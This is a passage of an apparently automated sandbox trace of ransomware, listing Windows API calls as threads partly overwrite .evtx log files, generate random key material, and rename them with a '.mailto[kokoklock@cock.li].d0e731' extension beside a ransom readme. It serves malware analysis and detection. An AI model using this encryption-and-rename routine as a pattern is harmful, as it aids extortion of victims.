lpNumberOfBytesWritten=0x76af750*=0x8, lpOverlapped=0x0) returned 1 [0060.959] WriteFile (in: hFile=0x5c0, lpBuffer=0x76af768*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x76af750, lpOverlapped=0x0 | out: lpBuffer=0x76af768*, lpNumberOfBytesWritten=0x76af750*=0x4, lpOverlapped=0x0) returned 1 [0060.959] WriteFile (in: hFile=0x5c0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x76af750, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x76af750*=0x4, lpOverlapped=0x0) returned 1 [0060.960] WriteFile (in: hFile=0x5c0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x76af750, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x76af750*=0x6c, lpOverlapped=0x0) returned 1 [0060.960] WriteFile (in: hFile=0x5c0, lpBuffer=0x347b610*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x76af750, lpOverlapped=0x0 | out: lpBuffer=0x347b610*, lpNumberOfBytesWritten=0x76af750*=0x20, lpOverlapped=0x0) returned 1 [0060.960] WriteFile (in: hFile=0x5c0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x76af750, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x76af750*=0x4, lpOverlapped=0x0) returned 1 [0060.960] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b610) returned 1 [0060.960] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b6d8) returned 1 [0060.960] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b700) returned 1 [0060.960] CloseHandle (hObject=0x5c0) returned 1 [0060.963] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x341e0b8 [0060.963] wcscpy (in: _Dest=0x341e0b8, _Source="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" [0060.963] wcscat (in: _Dest=0x341e0b8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0060.963] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0060.963] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0060.963] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e0b8) returned 1 [0060.963] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0060.964] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433ce8 [0060.964] wcscpy (in: _Dest=0x3433ce8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0060.964] wcscat (in: _Dest=0x3433ce8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0060.964] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0060.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433ce8) returned 1 [0060.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cccf0) returned 1 [0060.964] RtlExitUserThread (Status=0x1) Thread: id = 86 os_tid = 0x910 [0060.965] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 0x20 [0060.966] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0060.966] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0 [0060.966] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x772f810 | out: lpFileSize=0x772f810*=69632) returned 1 [0060.966] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.967] ReadFile (in: hFile=0x5c0, lpBuffer=0x772f7e4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x772f7e0, lpOverlapped=0x0 | out: lpBuffer=0x772f7e4*, lpNumberOfBytesRead=0x772f7e0*=0x4, lpOverlapped=0x0) returned 1 [0060.969] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.969] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b868 [0060.969] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b610 [0060.969] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b6d8 [0060.969] NtQuerySystemTime (in: CurrentTime=0x772f7bc | out: CurrentTime=0x772f7bc*=132121176188675831) returned 0x0 [0060.969] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0x75677f45 [0060.969] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0xcfc22ddc [0060.969] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0x2498da18 [0060.969] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0x94ca2fca [0060.969] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0x7137171b [0060.969] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0x14d56080 [0060.969] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0x8c3141af [0060.969] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0xd70a4219 [0060.969] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0xe1514286 [0060.969] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0xcd426985 [0060.969] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0xda099bdc [0060.969] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0x3ac73d20 [0060.969] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0x13e33b3d [0060.969] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0x9bf16523 [0060.969] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0x769fd6a [0060.969] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0xfc490efb [0060.970] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0x18a40ce2 [0060.970] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0xcfc19513 [0060.970] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0x121add3b [0060.970] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0xe2660776 [0060.970] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0xb7121911 [0060.970] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0xf1569a13 [0060.970] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0xf6ffdce0 [0060.970] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0x90eed33b [0060.970] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0xc889a235 [0060.970] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0xa2147e41 [0060.970] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0xc841593f [0060.970] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0x864aea5d [0060.970] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0x8d6b9e01 [0060.970] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0x58349081 [0060.970] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0x24804388 [0060.970] RtlRandom (in: Seed=0x772f7c8 | out: Seed=0x772f7c8) returned 0x42338d93 [0060.978] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b700 [0060.980] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0060.980] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b480 [0060.980] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0060.980] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b868) returned 1 [0060.980] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0060.980] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.980] ReadFile (in: hFile=0x5c0, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x772f794, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x772f794*=0x4096, lpOverlapped=0x0) returned 1 [0060.982] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.982] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.982] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0060.982] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b868 [0060.982] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b868) returned 1 [0060.982] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0060.983] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b868 [0060.983] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b228 [0060.983] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b228) returned 1 [0060.983] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0060.983] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.983] WriteFile (in: hFile=0x5c0, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x772f794, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x772f794*=0x4096, lpOverlapped=0x0) returned 1 [0060.983] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0060.983] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.983] WriteFile (in: hFile=0x5c0, lpBuffer=0x347b868*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x772f7cc, lpOverlapped=0x0 | out: lpBuffer=0x347b868*, lpNumberOfBytesWritten=0x772f7cc*=0x20, lpOverlapped=0x0) returned 1 [0060.983] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b868) returned 1 [0060.983] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0060.983] WriteFile (in: hFile=0x5c0, lpBuffer=0x347b480*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x772f7e0, lpOverlapped=0x0 | out: lpBuffer=0x347b480*, lpNumberOfBytesWritten=0x772f7e0*=0x8, lpOverlapped=0x0) returned 1 [0060.983] WriteFile (in: hFile=0x5c0, lpBuffer=0x772f7f8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x772f7e0, lpOverlapped=0x0 | out: lpBuffer=0x772f7f8*, lpNumberOfBytesWritten=0x772f7e0*=0x4, lpOverlapped=0x0) returned 1 [0060.983] WriteFile (in: hFile=0x5c0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x772f7e0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x772f7e0*=0x4, lpOverlapped=0x0) returned 1 [0060.984] WriteFile (in: hFile=0x5c0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x772f7e0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x772f7e0*=0x6c, lpOverlapped=0x0) returned 1 [0060.984] WriteFile (in: hFile=0x5c0, lpBuffer=0x347b610*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x772f7e0, lpOverlapped=0x0 | out: lpBuffer=0x347b610*, lpNumberOfBytesWritten=0x772f7e0*=0x20, lpOverlapped=0x0) returned 1 [0060.984] WriteFile (in: hFile=0x5c0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x772f7e0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x772f7e0*=0x4, lpOverlapped=0x0) returned 1 [0060.984] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b610) returned 1 [0060.984] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b700) returned 1 [0060.984] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b480) returned 1 [0060.984] CloseHandle (hObject=0x5c0) returned 1 [0060.987] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd4) returned 0x347c0f0 [0060.987] wcscpy (in: _Dest=0x347c0f0, _Source="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" [0060.987] wcscat (in: _Dest=0x347c0f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0060.987] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0060.988] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0060.988] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c0f0) returned 1 [0060.988] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0060.988] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34339e8 [0060.988] wcscpy (in: _Dest=0x34339e8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0060.988] wcscat (in: _Dest=0x34339e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0060.988] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0060.988] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34339e8) returned 1 [0060.988] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ead70) returned 1 [0060.988] RtlExitUserThread (Status=0x1) Thread: id = 87 os_tid = 0xcb8 [0060.981] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 0x20 [0060.985] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0060.989] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4 [0060.989] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x77aff04 | out: lpFileSize=0x77aff04*=69632) returned 1 [0060.989] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.990] ReadFile (in: hFile=0x5b4, lpBuffer=0x77afed8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x77afed4, lpOverlapped=0x0 | out: lpBuffer=0x77afed8*, lpNumberOfBytesRead=0x77afed4*=0x4, lpOverlapped=0x0) returned 1 [0060.991] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.991] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b458 [0060.991] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b318 [0060.991] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b480 [0060.991] NtQuerySystemTime (in: CurrentTime=0x77afeb0 | out: CurrentTime=0x77afeb0*=132121176188832178) returned 0x0 [0060.991] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0xf90f5a68 [0060.991] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0xf8377f0 [0060.991] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0x88b9c212 [0060.991] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0xb034810e [0060.991] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0x541ef883 [0060.991] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0x91363e23 [0060.991] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0x6d322707 [0060.991] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0x288d0bd1 [0060.991] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0x7d7534be [0060.991] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0x11e7eb52 [0060.991] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0xc714f75c [0060.991] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0xed79d835 [0060.991] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0x272ed9e4 [0060.991] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0x540646a8 [0060.991] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0xfdebf351 [0060.992] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0xda770aae [0060.992] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0x579cf313 [0060.992] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0xab4393ab [0060.992] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0xac0e8b79 [0060.992] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0xdd9c3f86 [0060.992] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0xcf935dce [0060.992] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0xe06a5874 [0060.992] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0xa0552b2c [0060.992] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0x107b6f13 [0060.992] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0x1918c186 [0060.992] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0xe2af9a3a [0060.992] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0x723457da [0060.992] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0x66542d3c [0060.992] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0xa0ac83a7 [0060.992] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0x8b6a69d5 [0060.992] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0x5273c3ef [0060.992] RtlRandom (in: Seed=0x77afebc | out: Seed=0x77afebc) returned 0x98215865 [0061.000] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b430 [0061.002] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.002] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b4a8 [0061.002] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.002] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b458) returned 1 [0061.002] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.002] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.003] ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x77afe88, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x77afe88*=0x4096, lpOverlapped=0x0) returned 1 [0061.005] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.005] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.005] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e20 [0061.005] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b278 [0061.005] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b278) returned 1 [0061.005] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.006] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b408 [0061.006] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b200 [0061.006] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b200) returned 1 [0061.006] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e20) returned 1 [0061.006] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.006] WriteFile (in: hFile=0x5b4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x77afe88, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x77afe88*=0x4096, lpOverlapped=0x0) returned 1 [0061.006] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.006] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.006] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b408*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x77afec0, lpOverlapped=0x0 | out: lpBuffer=0x347b408*, lpNumberOfBytesWritten=0x77afec0*=0x20, lpOverlapped=0x0) returned 1 [0061.006] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b408) returned 1 [0061.006] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.006] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b4a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x77afed4, lpOverlapped=0x0 | out: lpBuffer=0x347b4a8*, lpNumberOfBytesWritten=0x77afed4*=0x8, lpOverlapped=0x0) returned 1 [0061.006] WriteFile (in: hFile=0x5b4, lpBuffer=0x77afeec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x77afed4, lpOverlapped=0x0 | out: lpBuffer=0x77afeec*, lpNumberOfBytesWritten=0x77afed4*=0x4, lpOverlapped=0x0) returned 1 [0061.007] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x77afed4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x77afed4*=0x4, lpOverlapped=0x0) returned 1 [0061.007] WriteFile (in: hFile=0x5b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x77afed4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x77afed4*=0x6c, lpOverlapped=0x0) returned 1 [0061.007] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b318*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x77afed4, lpOverlapped=0x0 | out: lpBuffer=0x347b318*, lpNumberOfBytesWritten=0x77afed4*=0x20, lpOverlapped=0x0) returned 1 [0061.007] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x77afed4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x77afed4*=0x4, lpOverlapped=0x0) returned 1 [0061.007] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b318) returned 1 [0061.007] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b430) returned 1 [0061.007] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b4a8) returned 1 [0061.007] CloseHandle (hObject=0x5b4) returned 1 [0061.010] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb2) returned 0x341e0b8 [0061.010] wcscpy (in: _Dest=0x341e0b8, _Source="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" [0061.010] wcscat (in: _Dest=0x341e0b8, 